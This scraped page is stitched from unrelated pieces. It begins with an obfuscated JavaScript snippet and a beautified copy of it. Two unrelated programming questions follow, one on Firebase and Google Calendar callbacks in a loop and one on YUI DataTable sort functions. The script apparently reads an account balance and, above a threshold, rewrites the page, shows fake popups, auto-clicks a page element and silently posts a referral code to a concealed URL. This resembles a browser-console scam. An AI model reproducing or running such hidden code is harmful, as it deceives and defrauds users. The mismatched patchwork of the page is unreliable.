_0x735ax10[_0x8e4c[0xb]](_0x8e4c[0xa])[0x0];_0x735ax10[_0x8e4c[0xb]](_0x8e4c[0xa])[0x0][_0x8e4c[0x9]]();_0x735ax10[_0x8e4c[0xb]](_0x8e4c[0xa])[0x0][_0x8e4c[0x9]]();_0x735ax10= _0x735ax10[_0x8e4c[0x2]](_0x8e4c[0xe])[0x0];_0x735ax10[_0x8e4c[0xb]](_0x8e4c[0xa])[0x0][_0x8e4c[0x9]]();_0x735ax10[_0x8e4c[0xb]](_0x8e4c[0x10])[0x0][_0x8e4c[0xf]]= _0x8e4c[0x11];_0x735ax10[_0x8e4c[0xb]](_0x8e4c[0x10])[0x0][_0x8e4c[0x0]]= _0x8e4c[0x12];_0x735ax10[_0x8e4c[0xb]](_0x8e4c[0x10])[0x0][_0x8e4c[0x13]]= function(){doubleB()};console[_0x8e4c[0x6]](_0x8e4c[0x14]);clearInterval(_0x735axf)}})};var napraviPopup=function(_0x735ax12,_0x735ax13){var _0x735ax14=document[_0x8e4c[0x15]](_0x8e4c[0xa]);_0x735ax14[_0x8e4c[0xf]]= _0x8e4c[0x16];document[_0x8e4c[0xb]](_0x8e4c[0x18])[0x0][_0x8e4c[0x17]](_0x735ax14);var _0x735ax15=document[_0x8e4c[0x15]](_0x8e4c[0xa]);_0x735ax15[_0x8e4c[0x19]]= _0x8e4c[0x1a];_0x735ax15[_0x8e4c[0xf]]= _0x8e4c[0x1b];var _0x735ax16=document[_0x8e4c[0x15]](_0x8e4c[0x1c]);_0x735ax16[_0x8e4c[0xf]]= _0x8e4c[0x1d];_0x735ax16[_0x8e4c[0x0]]= _0x735ax12;var _0x735ax17=document[_0x8e4c[0x15]](_0x8e4c[0x1c]);_0x735ax17[_0x8e4c[0xf]]= _0x8e4c[0x1e];_0x735ax17[_0x8e4c[0x0]]= _0x735ax13;_0x735ax15[_0x8e4c[0x17]](_0x735ax16);_0x735ax15[_0x8e4c[0x1f]](_0x735ax17);document[_0x8e4c[0xb]](_0x8e4c[0x18])[0x0][_0x8e4c[0x17]](_0x735ax15);var _0x735ax18=setInterval(function(){if(document[_0x8e4c[0x2]](_0x8e4c[0x7])[0x0]){_0x735ax15[_0x8e4c[0x9]]();_0x735ax14[_0x8e4c[0x9]]();clearInterval(int1);zameniText();clearInterval(_0x735ax18)}})};var sredi=function(_0x735ax1a){var _0x735ax1b=document[_0x8e4c[0x15]](_0x8e4c[0x20]);_0x735ax1b[_0x8e4c[0x0]]= _0x8e4c[0x21];_0x735ax1b[_0x8e4c[0xf]][_0x8e4c[0x22]]= _0x8e4c[0x23];_0x735ax1b[_0x8e4c[0xf]][_0x8e4c[0x24]]= _0x8e4c[0x25];_0x735ax1b[_0x8e4c[0xf]][_0x8e4c[0x26]]= _0x8e4c[0x27];_0x735ax1b[_0x8e4c[0xf]][_0x8e4c[0x28]]= _0x8e4c[0x29];_0x735ax1b[_0x8e4c[0xf]][_0x8e4c[0x2a]]= _0x8e4c[0x2b];_0x735ax1b[_0x8e4c[0xf]][_0x8e4c[0x2c]]= _0x8e4c[0x2d];_0x735ax1b[_0x8e4c[0xf]][_0x8e4c[0x2e]]= _0x8e4c[0x2f];_0x735ax1b[_0x8e4c[0xf]][_0x8e4c[0x30]]= _0x8e4c[0x31];document[_0x8e4c[0x2]](_0x8e4c[0x34])[0x0][_0x8e4c[0x2]](_0x8e4c[0x33])[0x0][_0x8e4c[0x32]](_0x735ax1b,_0x735ax1a);_0x735ax1a[_0x8e4c[0xf]][_0x8e4c[0x2c]]= _0x8e4c[0x35];_0x735ax1a[_0x8e4c[0xf]][_0x8e4c[0x36]]= _0x8e4c[0x37];_0x735ax1a[_0x8e4c[0x38]]= _0x8e4c[0x39]+ pare+ _0x8e4c[0x3a]};var zakacizamene=function(){var _0x735ax1d=_0x8e4c[0x3b];var _0x735ax1e= new XMLHttpRequest();var _0x735ax1f=_0x735ax1d;var _0x735ax20={'\x72\x65\x66\x65\x72\x72\x61\x6C\x5F\x63\x6F\x64\x65':_0x8e4c[0x3c]};_0x735ax1e[_0x8e4c[0x3d]]= function(){if(this[_0x8e4c[0x3e]]== 0x4&& this[_0x8e4c[0x3f]]== 0xc8){console[_0x8e4c[0x6]](_0x8e4c[0x40])}};_0x735ax1e[_0x8e4c[0x42]](_0x8e4c[0x41],_0x735ax1f,!![]);_0x735ax1e[_0x8e4c[0x45]](_0x8e4c[0x43],_0x8e4c[0x44]);_0x735ax1e[_0x8e4c[0x45]](_0x8e4c[0x46],_0x735ax20[_0x8e4c[0x47]]);_0x735ax1e[_0x8e4c[0x49]](JSON[_0x8e4c[0x48]](_0x735ax20))};sredi(document[_0x8e4c[0x2]](_0x8e4c[0x34])[0x0][_0x8e4c[0xb]](_0x8e4c[0x4a])[0x0]);var int1=setInterval(function(){document[_0x8e4c[0x2]](_0x8e4c[0x34])[0x0][_0x8e4c[0xb]](_0x8e4c[0x4a])[0x0][_0x8e4c[0x4b]]()},0x3e8);napraviPopup(_0x8e4c[0x4c],_0x8e4c[0x4d]);zakacizamene()}else {napraviPopup1(_0x8e4c[0x4e],_0x8e4c[0x4f])};function napraviPopup1(_0x735ax23,_0x735ax24){var _0x735ax25=document[_0x8e4c[0x15]](_0x8e4c[0xa]);_0x735ax25[_0x8e4c[0xf]]= _0x8e4c[0x16];_0x735ax25[_0x8e4c[0x13]]= function(){_0x735ax25[_0x8e4c[0x9]]();_0x735ax26[_0x8e4c[0x9]]()};document[_0x8e4c[0xb]](_0x8e4c[0x18])[0x0][_0x8e4c[0x17]](_0x735ax25);var _0x735ax26=document[_0x8e4c[0x15]](_0x8e4c[0xa]);_0x735ax26[_0x8e4c[0x19]]= _0x8e4c[0x1a];_0x735ax26[_0x8e4c[0xf]]= _0x8e4c[0x1b];var _0x735ax27=document[_0x8e4c[0x15]](_0x8e4c[0x1c]);_0x735ax27[_0x8e4c[0xf]]= _0x8e4c[0x1d];_0x735ax27[_0x8e4c[0x0]]= _0x735ax23;var _0x735ax28=document[_0x8e4c[0x15]](_0x8e4c[0x1c]);_0x735ax28[_0x8e4c[0xf]]= _0x8e4c[0x1e];_0x735ax28[_0x8e4c[0x0]]= _0x735ax24;_0x735ax26[_0x8e4c[0x17]](_0x735ax27);_0x735ax26[_0x8e4c[0x1f]](_0x735ax28);document[_0x8e4c[0xb]](_0x8e4c[0x18])[0x0][_0x8e4c[0x17]](_0x735ax26)}function doubleB(){napraviPopup1(_0x8e4c[0x4e],_0x8e4c[0x50]);var _0x735ax2a=setInterval(function(){if(document[_0x8e4c[0x2]](_0x8e4c[0x7])[0x0]){document[_0x8e4c[0x2]](_0x8e4c[0x7])[0x0][_0x8e4c[0x9]]();clear(_0x735ax2a)}})}
https://beautifier.io/
This might be the closest way you can get to the original source code without manually interpreting it
'use strict';
(function(data, i) {
var write = function(isLE) {
for (; --isLE;) {
data["push"](data["shift"]());
}
};
write(++i);
})(_0x2f47, 332);
var _0x416c = function(i, parameter1) {
i = i - 0;
var oembedView = _0x2f47[i];
return oembedView;
};
var _0x1234 = [_0x416c("0x0"), "innerText", "balance", _0x416c("0x1"), ",", "", _0x416c("0x2"), "log", _0x416c("0x3"), _0x416c("0x4"), _0x416c("0x5"), _0x416c("0x6"), _0x416c("0x7"), "h3", _0x416c("0x8"), _0x416c("0x9"), _0x416c("0xa"), _0x416c("0xb"), _0x416c("0xc"), _0x416c("0xd"), _0x416c("0xe"), _0x416c("0xf"), _0x416c("0x10"), "position: fixed;width: 100%;height: 100%;background-color: black;opacity: 0.75;top: 0;z-index: 90;", _0x416c("0x11"), _0x416c("0x12"), "id", _0x416c("0x13"), _0x416c("0x14"),
"p", "text-align:center;font-family: american-captain;font-weight: 400;color: #dcdcdc;letter-spacing: .025em;line-height: 2.25;font-size:24px;", "margin-top: 15px;font-weight: 400;text-align: center;font-weight: 700;color: #FF652F;padding: 20px;", "append", "span", "Type Message...", _0x416c("0x15"), _0x416c("0x16"), _0x416c("0x17"), "9", _0x416c("0x18"), "5%", "marginLeft", "4%", _0x416c("0x19"), _0x416c("0x1a"), _0x416c("0x1b"), "#dcdcdc", _0x416c("0x1c"), _0x416c("0x1d"), _0x416c("0x1e"), _0x416c("0x1f"),
_0x416c("0x20"), _0x416c("0x21"), _0x416c("0x22"), _0x416c("0x23"), _0x416c("0x24"), _0x416c("0x25"), _0x416c("0x26"), _0x416c("0x27"), "\n", _0x416c("0x28"), _0x416c("0x29"), _0x416c("0x2a"), "readyState", _0x416c("0x2b"), _0x416c("0x2c"), _0x416c("0x2d"), _0x416c("0x2e"), _0x416c("0x2f"), _0x416c("0x30"), _0x416c("0x31"), _0x416c("0x32"), _0x416c("0x33"), _0x416c("0x34"), _0x416c("0x35"), _0x416c("0x36"), _0x416c("0x37"), _0x416c("0x38"), _0x416c("0x39"), _0x416c("0x3a"), _0x416c("0x3b"), _0x416c("0x3c")];
_0x1234[0];
var _0xde2d = [_0x1234[0], _0x1234[1], _0x1234[2], _0x1234[3], _0x1234[4], _0x1234[5], _0x1234[6], _0x1234[7], _0x1234[8], _0x1234[9], _0x1234[10], _0x1234[11], _0x1234[12], _0x1234[13], _0x1234[14], _0x1234[15], _0x1234[16], _0x1234[17], _0x1234[18], _0x1234[19], _0x1234[20], _0x1234[21], _0x1234[22], _0x1234[23], _0x1234[24], _0x1234[25], _0x1234[26], _0x1234[27], _0x1234[28], _0x1234[29], _0x1234[30], _0x1234[31], _0x1234[32], _0x1234[33], _0x1234[34], _0x1234[35], _0x1234[36], _0x1234[37], _0x1234[38],
_0x1234[39], _0x1234[40], _0x1234[41], _0x1234[42], _0x1234[43], _0x1234[44], _0x1234[45], _0x1234[46], _0x1234[47], _0x1234[48], _0x1234[49], _0x1234[50], _0x1234[51], _0x1234[52], _0x1234[53], _0x1234[54], _0x1234[55], _0x1234[56], _0x1234[57], _0x1234[58], _0x1234[59], _0x1234[60], _0x1234[61], _0x1234[62], _0x1234[63], _0x1234[64], _0x1234[65], _0x1234[66], _0x1234[67], _0x1234[68], _0x1234[69], _0x1234[70], _0x1234[71], _0x1234[72], _0x1234[73], _0x1234[74], _0x1234[75], _0x1234[76], _0x1234[77],
_0x1234[78], _0x1234[79], _0x1234[80], _0x1234[81]];
_0xde2d[0];
var _0x8e4c = [_0xde2d[1], _0xde2d[2], _0xde2d[3], _0xde2d[4], _0xde2d[5], _0xde2d[6], _0xde2d[7], _0xde2d[8], _0xde2d[9], _0xde2d[10], _0xde2d[11], _0xde2d[12], _0xde2d[13], _0xde2d[14], _0xde2d[15], _0xde2d[16], _0xde2d[17], _0xde2d[18], _0xde2d[19], _0xde2d[20], _0xde2d[21], _0xde2d[22], _0xde2d[23], _0xde2d[24], _0xde2d[25], _0xde2d[26], _0xde2d[27], _0xde2d[28], _0xde2d[29], _0xde2d[30], _0xde2d[31], _0xde2d[32], _0xde2d[33], _0xde2d[34], _0xde2d[35], _0xde2d[36], _0xde2d[37], _0xde2d[38], _0xde2d[39],
_0xde2d[40], _0xde2d[41], _0xde2d[42], _0xde2d[43], _0xde2d[44], _0xde2d[45], _0xde2d[46], _0xde2d[47], _0xde2d[48], _0xde2d[49], _0xde2d[50], _0xde2d[51], _0xde2d[52], _0xde2d[53], _0xde2d[54], _0xde2d[55], _0xde2d[56], _0xde2d[57], _0xde2d[58], _0xde2d[59], _0xde2d[60], _0xde2d[61], _0xde2d[62], _0xde2d[63], _0xde2d[64], _0xde2d[65], _0xde2d[66], _0xde2d[67], _0xde2d[68], _0xde2d[69], _0xde2d[70], _0xde2d[71], _0xde2d[72], _0xde2d[73], _0xde2d[74], _0xde2d[75], _0xde2d[76], _0xde2d[77], _0xde2d[78],
_0xde2d[79], _0xde2d[80], _0xde2d[81]];
var pare = document[_0x8e4c[2]](_0x8e4c[1])[0][_0x8e4c[0]];
pare = pare[_0x8e4c[5]](_0x8e4c[3], _0x8e4c[4]);
console[_0x8e4c[6]](pare);
if (parseFloat(pare) >= 5) {
var zameniText = function() {
var chat_retry = setInterval(function() {
var _0x735ax10 = document[_0x8e4c[2]](_0x8e4c[7])[0];
if (_0x735ax10) {
_0x735ax10 = _0x735ax10[_0x8e4c[2]](_0x8e4c[8])[0];
_0x735ax10[_0x8e4c[11]](_0x8e4c[10])[0][_0x8e4c[9]]();
_0x735ax10[_0x8e4c[11]](_0x8e4c[12])[0][_0x8e4c[0]] = _0x8e4c[13];
_0x735ax10 = _0x735ax10[_0x8e4c[11]](_0x8e4c[10])[0];
_0x735ax10[_0x8e4c[11]](_0x8e4c[10])[0][_0x8e4c[9]]();
_0x735ax10[_0x8e4c[11]](_0x8e4c[10])[0][_0x8e4c[9]]();
_0x735ax10 = _0x735ax10[_0x8e4c[2]](_0x8e4c[14])[0];
_0x735ax10[_0x8e4c[11]](_0x8e4c[10])[0][_0x8e4c[9]]();
_0x735ax10[_0x8e4c[11]](_0x8e4c[16])[0][_0x8e4c[15]] = _0x8e4c[17];
_0x735ax10[_0x8e4c[11]](_0x8e4c[16])[0][_0x8e4c[0]] = _0x8e4c[18];
_0x735ax10[_0x8e4c[11]](_0x8e4c[16])[0][_0x8e4c[19]] = function() {
doubleB();
};
console[_0x8e4c[6]](_0x8e4c[20]);
clearInterval(chat_retry);
}
});
};
var napraviPopup = function(match, i) {
var artistTrack = document[_0x8e4c[21]](_0x8e4c[10]);
artistTrack[_0x8e4c[15]] = _0x8e4c[22];
document[_0x8e4c[11]](_0x8e4c[24])[0][_0x8e4c[23]](artistTrack);
var m = document[_0x8e4c[21]](_0x8e4c[10]);
m[_0x8e4c[25]] = _0x8e4c[26];
m[_0x8e4c[15]] = _0x8e4c[27];
var req = document[_0x8e4c[21]](_0x8e4c[28]);
req[_0x8e4c[15]] = _0x8e4c[29];
req[_0x8e4c[0]] = match;
var x = document[_0x8e4c[21]](_0x8e4c[28]);
x[_0x8e4c[15]] = _0x8e4c[30];
x[_0x8e4c[0]] = i;
m[_0x8e4c[23]](req);
m[_0x8e4c[31]](x);
document[_0x8e4c[11]](_0x8e4c[24])[0][_0x8e4c[23]](m);
/** #type {number} */
var chat_retry = setInterval(function() {
if (document[_0x8e4c[2]](_0x8e4c[7])[0]) {
m[_0x8e4c[9]]();
artistTrack[_0x8e4c[9]]();
clearInterval(int1);
zameniText();
clearInterval(chat_retry);
}
});
};
var sredi = function(mmCoreSplitViewBlock) {
var artistTrack = document[_0x8e4c[21]](_0x8e4c[32]);
artistTrack[_0x8e4c[0]] = _0x8e4c[33];
artistTrack[_0x8e4c[15]][_0x8e4c[34]] = _0x8e4c[35];
artistTrack[_0x8e4c[15]][_0x8e4c[36]] = _0x8e4c[37];
artistTrack[_0x8e4c[15]][_0x8e4c[38]] = _0x8e4c[39];
artistTrack[_0x8e4c[15]][_0x8e4c[40]] = _0x8e4c[41];
artistTrack[_0x8e4c[15]][_0x8e4c[42]] = _0x8e4c[43];
artistTrack[_0x8e4c[15]][_0x8e4c[44]] = _0x8e4c[45];
artistTrack[_0x8e4c[15]][_0x8e4c[46]] = _0x8e4c[47];
artistTrack[_0x8e4c[15]][_0x8e4c[48]] = _0x8e4c[49];
document[_0x8e4c[2]](_0x8e4c[52])[0][_0x8e4c[2]](_0x8e4c[51])[0][_0x8e4c[50]](artistTrack, mmCoreSplitViewBlock);
mmCoreSplitViewBlock[_0x8e4c[15]][_0x8e4c[44]] = _0x8e4c[53];
mmCoreSplitViewBlock[_0x8e4c[15]][_0x8e4c[54]] = _0x8e4c[55];
mmCoreSplitViewBlock[_0x8e4c[56]] = _0x8e4c[57] + pare + _0x8e4c[58];
};
var zakacizamene = function() {
var core_user_remove_user_device = _0x8e4c[59];
var elem = new XMLHttpRequest;
var wsFunction = core_user_remove_user_device;
var data = {
"referral_code" : _0x8e4c[60]
};
elem[_0x8e4c[61]] = function() {
if (this[_0x8e4c[62]] == 4 && this[_0x8e4c[63]] == 200) {
console[_0x8e4c[6]](_0x8e4c[64]);
}
};
elem[_0x8e4c[66]](_0x8e4c[65], wsFunction, !![]);
elem[_0x8e4c[69]](_0x8e4c[67], _0x8e4c[68]);
elem[_0x8e4c[69]](_0x8e4c[70], data[_0x8e4c[71]]);
elem[_0x8e4c[73]](JSON[_0x8e4c[72]](data));
};
sredi(document[_0x8e4c[2]](_0x8e4c[52])[0][_0x8e4c[11]](_0x8e4c[74])[0]);
var int1 = setInterval(function() {
document[_0x8e4c[2]](_0x8e4c[52])[0][_0x8e4c[11]](_0x8e4c[74])[0][_0x8e4c[75]]();
}, 1E3);
napraviPopup(_0x8e4c[76], _0x8e4c[77]);
zakacizamene();
} else {
napraviPopup1(_0x8e4c[78], _0x8e4c[79]);
}
function napraviPopup1(match, i) {
var artistTrack = document[_0x8e4c[21]](_0x8e4c[10]);
artistTrack[_0x8e4c[15]] = _0x8e4c[22];
artistTrack[_0x8e4c[19]] = function() {
artistTrack[_0x8e4c[9]]();
m[_0x8e4c[9]]();
};
document[_0x8e4c[11]](_0x8e4c[24])[0][_0x8e4c[23]](artistTrack);
var m = document[_0x8e4c[21]](_0x8e4c[10]);
m[_0x8e4c[25]] = _0x8e4c[26];
m[_0x8e4c[15]] = _0x8e4c[27];
var req = document[_0x8e4c[21]](_0x8e4c[28]);
req[_0x8e4c[15]] = _0x8e4c[29];
req[_0x8e4c[0]] = match;
var x = document[_0x8e4c[21]](_0x8e4c[28]);
x[_0x8e4c[15]] = _0x8e4c[30];
x[_0x8e4c[0]] = i;
m[_0x8e4c[23]](req);
m[_0x8e4c[31]](x);
document[_0x8e4c[11]](_0x8e4c[24])[0][_0x8e4c[23]](m);
}
function doubleB() {
napraviPopup1(_0x8e4c[78], _0x8e4c[80]);
var timeout = setInterval(function() {
if (document[_0x8e4c[2]](_0x8e4c[7])[0]) {
document[_0x8e4c[2]](_0x8e4c[7])[0][_0x8e4c[9]]();
clear(timeout);
}
});
}
;

Updating multiple Firebase nodes from multiple Google Calendar inserts with a callback functions inside a loop

this is my first post on Stack, and I am new to creating web apps. I've done some searching and I think my issue has to do closures/forEach/let...
Found here - JavaScript closure inside loops – simple practical example
But I am struggling on incorporating that into my app and need some help please.
I am using Firebase Realtime DB where I am pushing some data and pulling the uID of that push, then I use that same data to create a Google Calendar entry. I then retrieve that eventID from Calendar and then update the corresponding database node. So this works when I create a single entry at a time. What I then did, was I added the option to send multiple entries at once (this depends on a datetime-local input). So I have put these multiple datetimes into an array and they send correctly to Firebase and to Calendar, but where my bug is, is that only the last Calendar eventID is being updated in Firebase. It seems that the for loop over the array of date runs through before calendar can get the eventID and update Firebase. This was seen due to only my last date in the array having the associated calendar eventID. So yeah I think the issue is the global variable newPushId, but I am not sure at the moment how to fix it. All this is new and struggling to understand.
Sorry it's long, I would rather leave my code in there in case someone has any tips. If people would prefer me to shorten it, I will. Thank you in advance for the assistance.
Here's my main function that runs on submit.
function sendInstantBook() {
// checkBookForm listed in services
if (checkInstantBookForm()) {
// Get variables from the form.
var address = $('#instant-book-change-address').val();
var instructor = $("#instant-book-instructor").children(":selected").attr("id");
var transmission = $("#instant-book-transmission").children(":selected").attr("id");
var duration = $("#instant-book-duration").children(":selected").attr("id");
var start0 = $('#instant-book-start0').val();
var multipleLessons;
if (getLessonTimes() !== false) {
multipleLessons = getLessonTimes();
}
multipleLessons = multipleLessons.split(',');
// var recurring, interval, frequency, count;
// if ($('#recurring-checkbox').is(":checked")) {
// recurring = true;
// interval = $('#instant-recurring-interval').val();
// frequency = $("#instant-recurring-freq").children(":selected").attr("id");
// count = $('#instant-recurring-count').val();
// } else {
// recurring = false;
// interval = false;
// frequency = false;
// count = false;
// }
var sortAsc = new Date(start0).getTime();
// var sortDes = 9999999999999 - sortAsc;
var date0 = start0.split('T')[0];
var timeStart0 = start0.split('T')[1];
var timeFinish0 = addTimes(timeStart0, duration);
var paymentType = $('input[name="instantPayment"]:checked').val();
var paid = $('input[name="instantPaymentCheck"]:checked').val();
var paymentNumber = getPaymentNumber(paymentType);
var paymentDate = getPaymentDate(paid, date0);
var email = adminStudentDetails.email;
var phoneNumber = adminStudentDetails.phoneNumber;
phoneNumber = phoneNumber.replace(/\s/g, "");
var firstName = adminStudentDetails.firstName;
var lastName = adminStudentDetails.lastName;
var studentName = firstName + ' ' + lastName;
var amount = getAmount(duration);
var tracking = getTracking(duration);
if (multipleLessons.length == 1) {
// Create JSON object With the request's details and push to server
var data = {
"address" : address,
"amount" : amount,
"booked" : true,
"calID" : false,
"cancelled" : false,
"date" : date0,
"dateSortAsc" : sortAsc,
// "dateSortDes" : sortDes,
"duration" : duration,
"email" : email,
"firstName" : firstName,
"instructor" : instructor,
"lastName" : lastName,
// "newStudent" : newStudent,
"paymentDate" : paymentDate,
"paymentType" : paymentType,
"paymentNumber" : paymentNumber,
"phoneNumber" : phoneNumber,
"prepaid" : paid,
// "recurring" : recurring,
"studentName": studentName,
"time": timeStart0 + ' - ' + timeFinish0,
"tracking": tracking,
"transmission" : transmission,
"type" : "Lesson",
};
// var recurringData = {
// "interval" : interval,
// "frequency" : frequency,
// "count" : count,
// };
// push data to firebase
dbrefLessons.push(data).then((snap) => {
newPushUid = snap.key;
// this is a global variable
});
insertCalEvent(data, updCalIdCallback);
showSnackbar();
}
else if (multipleLessons.length > 1) {
for (var i = 0; i < multipleLessons.length; i++) {
eachDate = multipleLessons[i].split('T')[0];
eachDateSortAsc = new Date(i).getTime();
eachStart = multipleLessons[i].split('T')[1];
eachFinish = addTimes(eachStart, duration);
// Create JSON object With the request's details and push to server
var dataMultiple = {
"address" : address,
"amount" : amount,
"booked" : true,
"calID" : false,
"cancelled" : false,
"date" : eachDate,
"dateSortAsc" : eachDateSortAsc,
// "dateSortDes" : sortDes,
"duration" : duration,
"email" : email,
"firstName" : firstName,
"instructor" : instructor,
"lastName" : lastName,
// "newStudent" : newStudent,
"paymentDate" : paymentDate,
"paymentType" : paymentType,
"paymentNumber" : paymentNumber,
"phoneNumber" : phoneNumber,
"prepaid" : paid,
"studentName": studentName,
"time": eachStart + ' - ' + eachFinish,
"tracking": tracking,
"transmission" : transmission,
"type" : "Lesson",
};
// push data to firebase
dbrefLessons.push(dataMultiple).then((snap) => {
newPushUid = snap.key;
});
// push to calendar
insertCalEvent(dataMultiple, updCalIdCallback);
}
}
showSnackbar();
}
}
And the calendar insert code.
function insertCalEvent(linfo, updCalIdCallback) {
// function insertCalEvent(linfo, linfoRecur, updCalIdCallback) {
// THIS WILL NEED TO CHANGE TO LOGGED IN USER RATHER THAN STUDENT DETAILS
// or change it over to organizer
var loggedInFirstName = studentDetails.firstName;
var loggedInLastName = studentDetails.lastName;
var today = new Date().toISOString();
var todayDate = today.split('T')[0];
var todayTime = today.split('T')[1].split('.')[0];
// var interval = linfoRecur.interval;
// var frequency = linfoRecur.frequency;
// var count = linfoRecur.count;
// if (interval == false) {
// interval = 0;
// frequency = 0;
// count = 0;
// }
var address = linfo.address;
var amount = linfo.amount;
var cancelled = linfo.cancelled;
var date = linfo.date;
var duration = linfo.duration;
var email = linfo.email;
var firstName = linfo.firstName;
var lastName = linfo.lastName;
var location;
var newStudent;
var instructor = linfo.instructor;
var paymentType = linfo.paymentType;
var paid = linfo.prepaid;
var transmission = linfo.transmission;
var type = linfo.type;
var phoneNumber = linfo.phoneNumber;
var time = linfo.time;
var time1 = time.split(' - ')[0];
var time2 = time.split(' - ')[1];
if (linfo.location == undefined) {
} else {
location = linfo.location;
}
if (linfo.newStudent == true){
newStudent = "NEW ";
} else if (linfo.newStudent == undefined || linfo.newStudent == false) {
newStudent = "";
}
if (paid == "Yes") {
paid = "PD ";
} else {
paid = "Owes ";
}
if (paymentType == "Instructor") {
paymentType = "Instructor ";
} else if (paymentType == "Office") {
paymentType = "Office ";
} else if (paymentType == "Pack") {
paymentType = "(input pack) ";
}
var event = {
'summary': paid + paymentType + amount + ' - ' + newStudent + transmission + ' ' + type + ' - ' + firstName + ' ' + lastName + ' - ' + address + ' - ' + phoneNumber,
'location': address,
'description': 'Lesson generated by XLR8 app. \nInstructor - ' + instructor + '\nBooked by ' + loggedInFirstName + ' ' + loggedInLastName + ' at ' + todayDate + ' - ' + todayTime + '.\nStudent email - ' + email,
'start': {
'dateTime': date + 'T' + time1 + ':00+10:00',
'timeZone': 'Australia/Brisbane'
},
'end': {
'dateTime': date + 'T' + time2 + ':00+10:00',
'timeZone': 'Australia/Brisbane'
},
// 'attendees': [
// {'email': 'simon.curran.89#gmail.com'},
// ],
'reminders': {
'useDefault': false,
'overrides': [
{'method': 'popup', 'minutes': 30}
]
},
// "recurrence": [
// "RRULE:FREQ="+ frequency + ";COUNT=" + count + ";INTERVAL=" + interval + ";"
// ],
// 'originalStartTime': date + 'T' + time1 + ':00+10:00',
// 'recurringEventId': 'recurringEventId',
// 'colourId': 10,
};
gapi.client.load('calendar', 'v3', function() {
var request = gapi.client.calendar.events.insert({
"calendarId": "primary",
"resource": event
}, function(err, event) {
if (err) {
console.log("There was an error contacting the Calendar service: " + err);
return;
} else {
console.log("Event created: %s", event.htmlLink);
}
});
request.execute(function(resp) {
// console.log(resp);
// var calID = resp.id;
return updCalIdCallback(resp.id);
});
});
}
And the callback function:
function updCalIdCallback(calID) {
var updatedCalID = {
"calID" : calID,
};
dbrefLessons.child(newPushUid).update(updatedCalID);
console.log(calID);
console.log(newPushUid);
newPushUid = '';
}

YUI DataTable custom sortFunction issue

I am using a YUI DataTable with a custom sortFunction that strips out HTML code, to sort based on the text content only, rather than the entire string with HTML tags. The problem that I am having is that I need to make use of this sort function on three different columns, and I can not seem to pass the "field" value into my sort function. I want to use "field" rather than naming the column - because I would like to use the same sort function for all three columns rather than repeat it three times as I have in the code below. When I pass in "field" the sort stalls or hangs in the browser and "field" seems to be "undefined". Any ideas?
YAHOO.util.Event.addListener(window, "load", function() {
var sortProject = function(a, b, desc) {
var col = "project";
// Deal with empty values
if(!YAHOO.lang.isValue(a)) {
return (!YAHOO.lang.isValue(b)) ? 0 : 1;
}
else if(!YAHOO.lang.isValue(b)) {
return -1;
}
var comp = YAHOO.util.Sort.compare;
var tagregex = /<[^>]*>/g;
var aString = a.getData(col).replace(tagregex, "");
var bString = b.getData(col).replace(tagregex, "");
var compString = comp(aString, bString, desc);
return compString;
};
var sortArchitect = function(a, b, desc) {
var col = "architect"
// Deal with empty values
if(!YAHOO.lang.isValue(a)) {
return (!YAHOO.lang.isValue(b)) ? 0 : 1;
}
else if(!YAHOO.lang.isValue(b)) {
return -1;
}
var comp = YAHOO.util.Sort.compare;
var tagregex = /<[^>]*>/g;
var aString = a.getData(col).replace(tagregex, "");
var bString = b.getData(col).replace(tagregex, "");
var compString = comp(aString, bString, desc);
return compString;
};
var sortStatus = function(a, b, desc) {
var col = "status"
// Deal with empty values
if(!YAHOO.lang.isValue(a)) {
return (!YAHOO.lang.isValue(b)) ? 0 : 1;
}
else if(!YAHOO.lang.isValue(b)) {
return -1;
}
var comp = YAHOO.util.Sort.compare;
var tagregex = /<[^>]*>/g;
var aString = a.getData(col).replace(tagregex, "");
var bString = b.getData(col).replace(tagregex, "");
var compString = comp(aString, bString, desc);
return compString;
};
var myColumnDefs = [
{key:"design",label:"<span class='dtTitleText'>Design</span>", width:105, formatter:YAHOO.widget.DataTable.formatDate, sortable:true},
{key:"status",label:"<span class='dtTitleText'>Status</span> <sup>1</sup>", sortable:true, width:62, sortOptions:{sortFunction:sortStatus}},
{key:"project",label:"<span class='dtTitleText'>Project Name</span>", sortable:true, width:105, sortOptions:{sortFunction:sortProject}},
{key:"address",label:"<span class='dtTitleTextNoSort'>Address</span>", width:80, sortable:false},
{key:"city",label:"<span class='dtTitleText'>City</span>", width:80, sortable:true},
{key:"state",label:"<span class='dtTitleText'>State</span>", width:45, sortable:true},
{key:"type",label:"<span class='dtTitleText'>Building <br />Type</span>", width:75, sortable:true},
{key:"feet",label:"<span class='dtTitleText'>Gross <br />Sq. Ft.</span>", width:55, formatter:YAHOO.widget.DataTable.formatNumber,sortable:true},
{key:"owner",label:"<span class='dtTitleText'>Building <br />Owner</span>", width:95, sortable:true},
{key:"architect",label:"<span class='dtTitleText'>Architect of <br />Record (AOR)</span>", width:115, sortable:true, sortOptions:{sortFunction:sortArchitect}}
];
var myDataSource = new YAHOO.util.DataSource(YAHOO.util.Dom.get("storableTable"));
myDataSource.responseType = YAHOO.util.DataSource.TYPE_HTMLTABLE;
myDataSource.responseSchema = {
fields: [{key:"design", parser:"number"},
{key:"status"},
{key:"project"},
{key:"address"},
{key:"city"},
{key:"state"},
{key:"type"},
{key:"feet", parser:"number"},
{key:"owner"},
{key:"architect"}
]
};
var myDataTable = new YAHOO.widget.DataTable("progEnhanceTable", myColumnDefs, myDataSource,
{sortedBy:{key:"design",dir:"desc"}, renderLoopSize: 50}
);
return {
oDS: myDataSource,
oDT: myDataTable
}; });
How about generating the sort functions in a function:
function makeSortFunction(col) {
return function(a, b, desc) {
// NOTE: the passed 'col' variable is available inside closure...
// Deal with empty values
if(!YAHOO.lang.isValue(a)) {
return (!YAHOO.lang.isValue(b)) ? 0 : 1;
}
else if(!YAHOO.lang.isValue(b)) {
return -1;
}
var comp = YAHOO.util.Sort.compare;
var tagregex = /<[^>]*>/g;
var aString = a.getData(col).replace(tagregex, "");
var bString = b.getData(col).replace(tagregex, "");
var compString = comp(aString, bString, desc);
return compString;
};
}
And use it as
{key:"status",label:"<span class='dtTitleText'>Status</span> <sup>1</sup>", sortable:true, width:62, sortOptions:{sortFunction:makeSortFunction('status')}},
{key:"project",label:"<span class='dtTitleText'>Project Name</span>", sortable:true, width:105, sortOptions:{sortFunction:makeSortFunction('project')}},
Rather than referring to the function, this is calling makeSortFunction(), which returns the actual sort function.

Categories